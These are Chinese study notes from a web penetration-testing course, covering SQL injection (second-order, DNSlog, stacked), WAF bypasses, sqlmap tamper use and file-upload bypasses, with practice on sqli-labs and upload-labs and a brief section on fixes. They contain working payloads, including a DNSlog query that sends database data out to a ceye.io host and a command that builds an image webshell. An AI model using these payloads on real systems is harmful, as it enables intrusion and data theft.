【小迪安全】web安全|渗透测试|网络安全 | 学习笔记-4

SQL注入要点

第17天:WEB漏洞-SQL注入之二次,加解密,DNS等注入

  1. 加解密,二次,DNSlog注入
  2. 二次注入:一般发现于黑盒注入源码

二次注入原理

第一步:插入恶意数据

第一次进行数据库插入数据的时候,仅仅对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身包含恶意内容。

第二步:引用恶意数据

在将数据存入到了数据库中之后,开发者就认为数据都可信的。在下一次需要进行查询的时候,直接从数据库中取出了恶意数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。

二次注入案例(sqli-lib 24)

3.DNSlog注入

需要高权限才能实现(鸡肋)

~~DNSlog:解决了盲注不能回显数据,效率低的问题
借助ceye来进行DNSlog注入:
?id=1 and if((select load_file(concat(‘\\’,(select version()),’.1t7i2f.ceye.io\abc’))),1,0)
?id=1 and if((select load_file(concat(‘\\’,(select version()),’.“你的identifier”\abc’))),1,0)

借助DnslogSqlinj工具来进行DNSlog注入:
需要python2,在config.py中配置“APItoken”和“DNSurl”
Usage: dnslogSql.py [options] -u http://10.1.1.9/sqli-labs/Less-9/?id=1’ and ({})–+
“-u”后面接注入地址并用双引号括起来,“’”“–+”根据需要添加~~

涉及资源:

知道创宇 - CEYE检测平台:http://ceye.io/

DNSlog注入工具DnslogSqlinj:http://github.com/ADOOO/DnslogSqlinj

第18天:WEB漏洞-SQL注入之堆叠及WAF绕过注入

WAF绕过要点

1.堆叠查询注入

stacked injections(堆叠注入),一次注入多条语句。
并不是每个环境都可以执行堆叠注入。

WAF绕过

主要以宝塔、安全狗、阿里云盾,建议购买阿里云服务器搭建测试平台

数据:大部分过滤是对数据有所检测,在数据上做一些变异来绕过

方式:改变请求方式

其他:根据数据库和漏洞的特性,或依靠数据溢出和参数污染等方法

现在很多网站是宝塔一键搭建的

2.安全狗

以安全狗和sqli-libs/less-2为例,GET型“union select”被拦截:

1、使用POST等方法提交注入参数
2、在保证语句可执行的情况下,将数据变异,使WAF检测不到。

原语句:?id=1 union select 1,2,3#

绕过WAF的语句:?id=1 union%23a%0Aselect 1,2,3%23

%0A=换行符,%23=“#”,“#”为注释符

WAF识别的语句:

union #a

select 1,2,3#

被执行的语句:SELECT * FROM users WHERE id=-1 union#a select 1,2,3;# LIMIT 0,1

3、主要利用参数污染

原语句:?id=-1 union select 1,2,3#

绕过WAF的语句:
?id=1/**&id=-1%20union%20select%201,2,3%23*/

也就是:?id=1/**&id=-1 union select 1,2,3#*/

%20=“ ”,%23=“#”,“/**”“*/”为注释符

WAF接收的语句:
1/**&id=-1 union select 1,2,3#*/

也可能是:1/**-1 union select 1,2,3#*/

WAF识别的语句:
1
“/**”“*/”注释掉了注入语句,WAF未识别注释内容

被执行的语句:SELECT * FROM users WHERE id=-1 union select 1,2,3#*/ LIMIT 0,1

“/**”“*/”并不是MySQL的注释符

PHP/Apache架构GET语句接收多个参数时,接收最后一个

3.FUZZ测试

利用脚本批量做模糊测试,类似爆破

4.其他

1.#应用层

大小写/关键字替换

id=1 UnIoN/**/SeLeCT 1,user()

Hex() bin() 等价于 ascii()

Sleep() 等价于 benchmark()

Mid()substring() 等价于 substr()

@@user 等价于 User()

@@Version 等价于 version()

各种编码

大小写,URL,hex,%0A 等

注释使用

// – --+ # // + :%00 /!/等

再次循环

union==uunionnion

等价替换

user()=@@user() and=& or=| ascii=hex 等

参数污染

?id=1&id=2&id=3

编码解码及加密解密

s->%73->%25%37%33

hex,unlcode,base64 等

更改请求提交方式

GET POST COOKIE 等

POST->multipart/form-data

中间件 HPP 参数污染

2.#数据库特性

1、Mysql 技巧

(1)mysql 注释符有三种:#、//、-- … (注意–后面有一个空格)

(2)空格符:[0x09,0x0a-0x0d,0x20,0xa0]

(3)特殊符号:%a 换行符

可结合注释符使用%23%0a,%2d%2d%0a。
(4)内联注释:

/!UnIon12345SelEcT/ 1,user() //数字范围 1000-50540

(5)mysql 黑魔法

select{x username}from {x11 test.admin};

2、SQL Server 技巧

(1)用来注释掉注射后查询的其余部分:

/* C 语言风格注释

– SQL 注释

; 00% 空字节

(2)空白符:[0x01-0x20]

(3)特殊符号:%3a 冒号

id=1 union:select 1,2 from:admin

(4)函数变形:如 db_name空白字符

3、Oracle 技巧

(1)注释符:–、/**/

(2)空白字符:[0x00,0x09,0x0a-0x0d,0x20]

4.配合 FUZZ

select * from admin where id=1【位置一】union【位置二】select【位置三】1,2,db_name()【位置四】

from【位置五】admin

#逻辑层

1、逻辑问题

(1)云 waf 防护,一般会尝试通过查找站点的真实 IP,从而绕过 CDN 防护。

(2)当提交GET、POST同时请求时,进入POST逻辑,而忽略了GET请求的有害参数输入,可尝试Bypass。

(3)HTTP 和 HTTPS 同时开放服务,没有做 HTTP 到 HTTPS 的强制跳转,导致 HTTPS 有 WAF 防护,HTTP

没有防护,直接访问 HTTP 站点绕过防护。

(4)特殊符号%00,部分 waf 遇到%00 截断,只能获取到前面的参数,无法获取到后面的有害参数

输 入 , 从 而 导 致 Bypass 。 比 如 : id=1%00and 1=2 union select 1,2,column_name from information_schema.columns

2、性能问题

1:在设计 WAF 系统时,考虑自身性能问题,当数据量达到一定层级,不检测这部分数据。只

要不断的填充数据,当数据达到一定数目之后,恶意代码就不会被检测了。

2:不少 WAF 是 C 语言写的,而 C 语言自身没有缓冲区保护机制,因此如果 WAF 在处理测试向

量时超出了其缓冲区长度就会引发 bug,从而实现绕过。

例子 1:

?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9

PS:0xA*1000 指 0xA 后面”A"重复 1000 次,一般来说对应用软件构成缓冲区溢出都需要较大的测试

长度,这里 1000 只做参考也许在有些情况下可能不需要这么长也能溢出。

例子 2:

?a0=0&a1=1&…&a100=100&id=1 union select 1,schema_name,3 from

INFORMATION_SCHEMA.schemata

备注:获取请求参数,只获取前 100 个参数,第 101 个参数并没有获取到,导致 SQL 注入绕过。

3、白名单

方式一:IP 白名单

从网络层获取的 ip,这种一般伪造不来,如果是获取客户端的 IP,这样就可能存在伪造 IP 绕过的情

况。

测试方法:修改 http 的 header 来 bypass waf

X-forwarded-for

X-remote-IP

X-originating-IP

x-remote-addr

X-Real-ip

方式二:静态资源

特定的静态资源后缀请求,常见的静态文件(.js .jpg .swf .css 等等),类似白名单机制,waf 为了检测

效率,不去检测这样一些静态文件名后缀的请求。

http://10.9.9.201/sql.php?id=1

http://10.9.9.201/sql.php/1.js?id=1

备注:Aspx/php 只识别到前面的.aspx/.php 后面基本不识别

方式三:url 白名单

为了防止误拦,部分 waf 内置默认的白名单列表,如 admin/manager/system 等管理后台。只要 url

中存在白名单的字符串,就作为白名单不进行检测。

涉及资源:
堆叠注入详解:https://www.cnblogs.com/backlion/p/9721687.html
关于【安全狗】在【phpstudy】中【无法找到apache服务名】的问题:
https://blog.csdn.net/nzjdsds/article/details/93740686

第19天:WEB漏洞-SQL注入之SQLMAP绕过WAF

在攻防实战中,往往需要掌握一些特性,比如服务器、数据库、应用层、WAF 层等,以便我们更灵活地去构造 Payload,从而可以和各种WAF 进行对抗,甚至绕过安全防御措施进行漏洞利用。

1. IP白名单
伪造自己是IP白名单地址,该方法相关条件很难满足
伪造自己的IP是网站的IP地址,本地请求本地或不拦截
如果网站从网络层获取IP,一般无法伪造;如果从客户端获取则可以修改数据包

2.静态资源
WAF为了检测效率,不去检测一些静态文件名的后缀,可以把这些后缀加入到语句中,该方法在实战中已基本无效
例:http://xxxxxx/sql.php/1.js?id=1

3.url白名单
与静态资源类似,有些WAF只要url中存在白名单的字符串,就作为白名单不进行检测,该方法在实战中已基本无效
例:http://xxxxxx/sql.php/admin.php?id=1(假设admin.php在白名单中)

4.爬虫白名单
扫描绕过时经常用到,伪装成搜索引擎,该方法仍有效

5. MySQL /*!50001
在MySQL中,“/* /”是多行注释,“/! /”说明注释的语句会被执行,如果是“/!50001 */”则意味着数据库是5.00.01以上版本,该语句才会被执行

6.sqlmap
sqlmap语句
–tamper=xx.py 使用xx.py脚本
–proxy=http://127.0.0.1:8080 使用本地的8080端口作为代理
–random-agent 使数据包的User-Agent参数按字典随机
–user-agent=”xxx” 将数据包里的User-Agent改为xxx
–delay 1 每条语句间延时1秒
为sqlmap编写tamper脚本
复制一个脚本,其他部分不用修改,只在以下部分改动
if payload:
payload = payload.replace(“注入语句中需要被替换的内容”,”替换前者的内容”)
(上面的语句可根据需要再添加一句或多句)
return payload
sqlmap的User-Agent
sqlmap会在数据包的User-Agent中注明身份
例:User-Agent: sqlmap/1.4.7.5#dev (http://sqlmap.org)

7.sqlmap不支持修改的值怎么修改?
1、脚本

2、把注入语句写到txt里

把修改好的注入语句写到test.txt里
python sqlmap.py -r test.txt

3、中转注入

第20天:WEB漏洞-文件上传之基础及过滤方式

文件上传要点

利用思路

1.什么是文件上传漏洞?
上传文件时,未对上传的文件进行严格的验证和过滤,造成用户可以上传可执行脚本的漏洞叫文件上传漏洞。

2.文件上传漏洞有哪些危害?
可以通过文件上传漏洞上传网站后门,获取网站权限
文件上传漏洞如何查找及判断?

3.黑盒查找
1、扫描敏感文件,有些扫描字典里会加载常见的扫描地址

2、通过网站给出的相关应用(如会员中心)寻找测试点

3、进入网站后台,在后台寻找文件上传的点
白盒查找

4、代码审计

4.文件上传漏洞有哪些需要注意的地方?
归类,根据漏洞的类型选择相应的测试

5.演示案例总结

后门代码需要以正确的格式执行
服务器使用了错误的格式来解析文件的漏洞叫解析漏洞
文件上传漏洞配合解析漏洞,可以使借由其他格式上传的脚本文件正确执行
找到上传点,不要急于开搞,先收集好信息,看是否还有其他东西可以起到辅助作用的

6.前端验证绕过

1、浏览器禁用JS
会导致其他正常JS失效,可能影响上传操作,不推荐

2、把过滤代码删除掉
把源代码复制下来
把过滤代码删除掉
修改/添加action信息,可先提交一次以得知文件提交到哪里,该地址即action

涉及资源:
upload-labs(上传漏洞靶场):
https://github.com/c0ny1/upload-labs

第21天:WEB漏洞-文件上传之后端黑白名单绕过

1.文件上传常见验证:

后缀名:类型,文件头等

后缀名:黑名单,白名单

黑名单:明确不允许上传的格式的后缀
asp php jsp aspx cgi war等

白名单:明确可以上传的格式的后缀
jpg png zip rar gif等

黑白名单都是非黑即白的
黑名单可能出现后缀限制不全的情况,即可能会出现搭建平台支持但黑名单未拦截的脚本后缀

2.文件类型:MIME信息
数据包中的“Content-Type”会返回上传文件的文件类型
可以用Burp suite修改

3.文件头:内容头信息
文件内部开头会有表明文件类型的信息
可以人为添加或用Burp suite修改

4.$_FILES数组
$_FILES[‘myFile’][‘name’] 客户端文件的原名称

$_FILES[‘myFile’][‘type’] 文件的 MIME 类型

$_FILES[‘myFile’][‘size’] 已上传文件的大小,单位为字节

$_FILES[‘myFile’][‘tmp_name’] 文件被上传后在服务端储存的临时文件名,一般是系统默认

$_FILES[‘myFile’][‘error’] 和该文件上传相关的错误代码

如存在以下文件域,“myFile”为文件域的name属性

5…htaccess

Apache服务器特有的配置文件,可以改变相关目录下的网页配置


<FilesMatch “xxx”>
SetHandler yyy

作用:把名字里有“xxx”的文件以“yyy”的格式解析,其中“yyy”要以MIME的格式

6.空格、点和“::$DATA”

如果上传的文件名字结尾有空格,空格会被识别为后缀的一部分,从而绕过黑名单

Windows系统会自动去除名字结尾的空格

文件名字结尾加点同理

文件名字结尾加“::$DATA”同理

7.一次过滤和递归过滤
如果过滤语句只执行一次,则可以通过重复来绕过
假设代码将字符串里的“php”替换为空且只过滤一次
过滤前:a.phphpp 过滤后:a.php

假设代码将字符串里的空格和结尾的点依次替换为空且只过滤一次

过滤前:a.php. . 过滤后:a.php.

8.%00和0x00

空字符,NUL,截断后面的内容

%00一般用于网站地址

0x00一般用于文件命名,%00是0x00的url编码

因为GET会自动解码,POST不会自动解码

第22天:WEB漏洞-文件上传之内容逻辑数组绕过

1.图片一句话制作方法

命令行:

把1.png和shell.php组成webshell.jpg

copy 1.png /b + shell.php /a webshell.jpg

手工:

以16进制打开图片

将代码插入到图片最后

2.文件头检测
文件内部开头会有表明文件类型的信息,可以通过该信息判断文件类型。可以后期伪造

塒NG png

GIF89a gif

3.图像文件信息判断

getimagesize()函数:获取图像大小及相关信息

exif_imagetype()函数:判断一个图像的类型

imagecreatefrom系列函数:从文件或 URL 载入一幅图像,该系列有多个函数

imagecreatefromjpeg():从 JPEG 文件或 URL 地址载入一副图像

4.逻辑安全-二次渲染

网站要把用户上传的图片规范化,包括对图片进行再次压缩、裁剪等渲染操作。

二次渲染意味着网站要先保存、再处理、再保存,如果第一次保存时未检测信息,会出现漏洞

5.逻辑安全-条件竞争

在二次渲染的情况下,可能存在如下情况

图片已经保存到了临时地址,此时不断地访问临时地址,使上传的文件被占用,无法进行更多操作。上传出错,脚本上传成功

6.目录命名-x.php/.

不仅是文件名,对上传文件的路径进行构造也可以绕过检测

例:

网站源码:UPLOAD_PATH . ‘/’ . $file_name;

正常上传文件时

文件名:upload-19.jpg

路径:upload/upload-19.jpg

试图绕过时

文件:upload-19.php/.

路径:upload/upload-19.php/.

保存在服务器上的文件:upload-19.php

7.漏洞

搭建上传环境的软件都可能会爆出CVE漏洞

8.数组接受+目录命名

例:

正常上传文件时

文件名:upload-20.jpg

接受文件名的数组:

X[0]=’upload-20’

X[1]=’.’

X[2]=’jpg’

路径:upload/upload-20.jpg

试图绕过时

提交的文件名(数组):

X[0]=’upload-20.php/’

X[2]=’jpg’

程序拼接的文件名:upload-20.php/.jpg

保存在服务器上的文件:upload-20.php

上述案例在实战时只能靠大量尝试

9.解析漏洞

这类漏洞比较老,现已很少见

解析漏洞是指由于应用程序本身的漏洞,当程序在解析某些精心构造的后缀文件时,会将其错误地解析成网页脚本格式

10.IIS6.0

文件夹

正常:image/qq.jpg

构造:image.asp/qq.jpg qq.jpg会被当作asp解析
文件

正常:image.jpg

构造:image.asp;.jpg或xxx.asp;xxx.jpg 此文件会被当作asp执行

asp可以换做php,以上内容依旧成立

11.Nginx

访问上传的图片,在路径后加“/xxx.php”(“xxx”可以为任意字符),程序会把jpg文件当作php执行

12.碰见漏洞首先判断
注入漏洞

判断数据库类型

判断对方数据提交方法

判断注入地址的参数类型

判断可能的查询方式

13.文件上传

判断有没有二次校验

中间件有无上传漏洞,有无解析漏洞

解析漏洞

涉及资源:
https://www.smi1e.top/文件解析漏洞总结/
Web 中间件常见漏洞总结.pdf

第23天:WEB漏洞-文件上传之解析漏洞编辑器安全

解析漏洞要点
各个平台解析漏洞讲解
Apache

1.Apache低版本解析漏洞

例:phpinfo.php.xxx

识别最后一个后缀,如果不识别则解析前一个后缀,直到识别

利用场景:

如果对方中间件apache属于低版本,我们可以利用文件上传,上传一个不识别的文件后缀,利用解析漏洞规则成功解析文件,其中后门代码被触发。

2.Apache配置安全漏洞

类似.htaccess

由于配置不合理而产生

3.Apache换行解析漏洞(CVE-2017-15715)

1.php\x0A

以1.php为例,当上传文件为黑名单限制时,在1.php后面加“\x0A”,能够上传且文件会被以php格式解析

注意,这里的“\x0A”需要使用工具修改

Nginx
1.Nginx解析漏洞
(IIS7也有相似的解析漏洞)

访问上传的图片,在路径后加“/xxx.php”(“xxx”可以为任意字符),程序会把jpg文件当作php执行

2.Nginx文件名逻辑

访问上传的图片(以info.jpg为例)并抓包,修改为“info.jpg…php”,在Hex选修卡中将“jpg”后面的两个点“2e”改成“20,00”,程序会把jpg文件当作php执行

请求文件:info.jpg[0x20][0x00].php,文件以php格式执行

各个WEB编辑器安全讲解

第三方编辑器,负责文件音频方面的处理

https://navisec.it/编辑器漏洞手册/

怎么判断网站使得什么编辑器?

在会员中心或者后台中心可能会看到网站使用的什么编辑器

网站扫描发现编辑器相关的路径

各个CMS文件上传简要讲解

文件上传简要总结
寻找文件上传漏洞

1、中间件是否有解析漏洞

2、尝试绕过验证

3、CMS

4、编辑器

5、CVE

6、可能没有漏洞

文件上传点怎么找

通过字典扫描寻找可能的上传点

在会员中心或者后台中心可能会找到上传点

涉及资源:

编辑器漏洞手册:https://navisec.it/编辑器漏洞手册/

phpStudy php5.2珍藏版 (apache 2.2.25+php 5.2.17):https://www.jb51.net/softs/75619.html

2019通达oa安装文件:https://pan.baidu.com/share/init?surl=5gcdBuOFrN1F9xVN7Q7GSA 提取码:enqx

第24天:WEB漏洞-文件上传之WAF绕过及安全修复

1.上传参数名解析:明确哪些东西能修改?

Content-Disposition:表单的数据,一般可更改

name:表单参数值,不能更改,更改会影响上传

filename:文件名,可以更改

Content-Type:文件 MIME,视情况更改

2.常见绕过方法:

以安全狗和upload-labs Pass-2为例

3.数据溢出-防匹配(xxx…)

防火墙会检查上传数据的每一项内容,但如果数据过多,防火墙可能会放过只检查了一部分的内容

在上传参数之间插入由垃圾数据组成的无效参数

4.符号变异-防匹配(’ ; ")

php是弱类型语言,只有一个引号也可能正确识别。但防火墙很可能会错误识别数据

将“filename=”xx.php””里的后双引号删掉,或把一对引号都删掉;

将filename的数据改为“filename=”x”.php”,会上传一个“.php”,可以执行;

改为“filename=”x”x.php”,会上传一个“x.php”

5.数据截断-防匹配(%00 ; 换行)

%00

“filename=”x.php .jpg””,在将空格改为“%00”,失效

换行

上传的数据包:

“filename=x.p

h

P”

防火墙接受的(可能):“filename=x.p\nh\np”

6.重复数据-防匹配(参数多次)

多个相同参数看以哪个为准:filename=”x.jpg”;filename=”y.jpg”

多个重复参数,类似数据溢出

将filename之前的上传参数复制到filename里,结尾加上“;x.php”或“x.php”

filename=“Content-Disposition: form-data; name=“upload_file”;x.php”

下面这条可以上传一个“jpeg;x.php”

filename=“Content-Type:image/jpeg;x.php”

7.Payload:

大量垃圾数据缓冲溢出(Content-Disposition,filename 等)

filename=x.php

filename="x.php

filename='x.php

filename=“a.jpg;.php”;

filename=“a.php%00.jpg”

filename=“Content-Disposition: form-data; name=“upload_file”;x.php”

filename=“x.jpg”;filename=“x.jpg”;…filename=“x.php”;

filename=“xxx/x.jpg”

filename=

"x.

p

h

p"

8.Fuzz模糊测试

右键“Send to intruder”,在Positions把filename的值作为条件,在Payloads选择字典

9.文件上传安全修复方案

后端验证:采用服务端验证模式

后缀检测:基于黑名单,白名单过滤

MIME 检测:基于上传自带类型检测

内容检测:文件头,完整性检测

自带函数过滤:参考 uploadlabs 函数

自定义函数过滤:function check_file(){}

WAF 防护产品:宝塔,云盾,安全公司产品等

在这里插入图片描述

Windows下文件名不区分大小写,Linux下文件名区分大小写

Windows下ADS流特性,导致上传文件xxx.php::$DATA = xxx.php

Windows下文件名结尾加入“.”“ ”“<”“>”“>>>”“0x81”-“0xff”等字符,最终生成的文件均被Windows忽略

涉及资源:

fuzzdb(字典):https://github.com/fuzzdb-project/fuzzdb

fuzzDicts(字典):https://github.com/TheKingOfDuck/fuzzDicts

  • 1
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值